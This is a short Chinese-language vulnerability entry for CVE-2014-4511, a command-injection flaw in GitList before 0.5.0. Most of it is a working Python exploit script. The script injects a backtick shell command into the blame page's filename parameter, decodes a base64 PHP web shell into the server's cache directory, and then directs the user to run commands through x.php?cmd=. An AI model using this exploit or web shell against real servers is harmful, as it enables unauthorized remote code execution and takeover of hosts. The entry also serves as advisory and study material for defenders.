CVE-2014-4511
GitList 是一款基于 PHP 的开源 Git 仓库查看器。
0.5.0 版本以前,攻击者可通过向 blame、file、stats 页面的请求 URI 的文件名参数中插入 shell 元字符,从而实现执行任意命令。
漏洞利用
相比 Gitlist 0.4.0 - Remote Code Execution 提供的 python 脚本,以下 python 脚本 略有所改动,payload 使用 <?php system($_GET['cmd']);?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from commands import getoutput import urllib import sys "" " Exploit Title: Gitlist <= 0.4.0 anonymous RCE Date: 06/20/2014 Author: drone (@dronesec) Vendor Homepage: http://gitlist.org/ Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz Version: <= 0.4.0 Fixed in: 0.5.0 Tested on: Debian 7 More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ cve: CVE-2014-4511 " "" if len(sys.argv) <= 1: print '%s: [url to git repo] {cache path}' % sys.argv[0] print ' Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0] print ' Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0] sys.exit(1) url = sys.argv[1] url = url if url[-1] != '/' else url[:-1] path = "/var/www/gitlist/cache" if len(sys.argv) > 2: path = sys.argv[2] print '[!] Using cache location %s' % pathpayload = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=" mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`' .format(payload, path) mpath = url+ urllib.quote(mpath) out = getoutput("wget %s" % mpath) if '500' in out: print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/' , 1)[0] else : print '[-] Failed to drop' print out
执行任意命令
参阅